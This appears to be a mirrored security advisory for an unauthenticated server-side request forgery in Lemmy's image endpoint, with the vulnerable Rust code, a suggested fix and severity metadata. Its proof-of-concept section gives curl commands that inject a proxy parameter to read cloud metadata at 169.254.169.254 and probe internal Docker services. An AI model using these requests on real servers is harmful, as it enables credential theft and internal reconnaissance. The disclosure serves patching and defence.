Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint

説明

Summary

The GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs.

Affected code

crates/routes/src/images/download.rs, lines 17-40 (get_image function):

pub async fn get_image(
  filename: Path<String>,
  Query(params): Query<ImageGetParams>,
  req: HttpRequest,
  context: Data<LemmyContext>,
) -> LemmyResult<HttpResponse> {
  let name = &filename.into_inner();
  let pictrs_url = context.settings().pictrs()?.url;
  let processed_url = if params.file_type.is_none() && params.max_size.is_none() {
    format!("{}image/original/{}", pictrs_url, name)
  } else {
    let file_type = file_type(params.file_type, name);
    let mut url = format!("{}image/process.{}?src={}", pictrs_url, file_type, name);
    // ...
  };
  do_get_image(processed_url, req, &context).await
}

The file_type parameter (ImageGetParams.file_type: Option<String>) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's /image/process.{ext} endpoint supports a ?proxy={url} parameter for fetching remote images, an attacker can inject ?proxy=... via file_type to make pict-rs fetch arbitrary URLs.

This endpoint does not require authentication (no LocalUserView extractor).

PoC

# Basic SSRF - make pict-rs fetch AWS metadata endpoint
# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=
# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything

curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'

# Scan internal services on the Docker network
curl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'

# The same issue exists in the image_proxy endpoint, but it requires the
# proxy URL to exist in the remote_image table (RemoteImage::validate check),
# making it harder to exploit.

The response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.

Impact

An unauthenticated attacker can:
- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service
- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)
- Bypass the RemoteImage::validate() check that protects the image_proxy endpoint

Suggested Fix

Validate the file_type parameter to only allow alphanumeric characters:

fn file_type(file_type: Option<String>, name: &str) -> String {
  let ft = file_type
    .unwrap_or_else(|| name.split('.').next_back().unwrap_or("jpg").to_string());
  if ft.chars().all(|c| c.is_alphanumeric()) {
    ft
  } else {
    "jpg".to_string()
  }
}

基本情報

タイプ
reviewed
深刻度
high
GitHub 上のアドバイザリ
アドバイザリを開く ↗
リポジトリのアドバイザリ
リポジトリのアドバイザリを開く ↗
ソースコード
ソースを見る ↗
公開(アドバイザリ)
2026-03-04 20:55:00 UTC
更新
2026-03-06 22:44:31 UTC
GitHub レビュー済み
2026-03-04 20:55:00 UTC
NVD で公開
2026-03-06

EPSS Score

Score Percentile
0.06% 18.31%

CVSS Scores

Base score Version Severity Vector
7.7 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P クリックして展開
攻撃ベクター (AV:N)
インターネットや社内 WAN など、ルーティングされたネットワーク越しに遠隔から踏み台にしうる。
攻撃の複雑さ (AC:L)
手順が短く、再現性が高い。
攻撃要件 (AT:N)
到達性以外に、追加のインフラ条件やデータ前提は要らない。
必要な権限 (PR:N)
昇格やログインなしで踏み台にしうる。
ユーザーの関与 (UI:N)
被害者の操作なしでも攻撃が完結しうる。
脆弱システムの機密性への影響 (VC:N)
脆弱な対象から機微情報が読まれうる余地はほとんどない。
脆弱システムの完全性への影響 (VI:H)
監査ログの改竄や広範なデータ偽装など、信頼根拠を崩す水準。
脆弱システムの可用性への影響 (VA:N)
業務を止めるほどの停止や劣化は想定しにくい。
後続システムの機密性への影響 (SC:N)
脆弱点を経由して下流の機微情報が読まれうる余地はほとんどない。
後続システムの完全性への影響 (SI:N)
下流の記録や設定が歪められる局面はほとんど想定されない。
後続システムの可用性への影響 (SA:N)
下流サービスが止まるほどの影響は想定しにくい。
悪用の成熟度(Threat) (E:P)
再現手順や PoC は公開されているが、実害報告や自動化キットはない。

Identifiers

CWEs

CWE id Name
CWE-918 Server-Side Request Forgery (SSRF)

Credits

  • q1uf3ng (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
rust lemmy_routes <= 0.19.15 0.19.16

References

cvelogic Threat Intelligence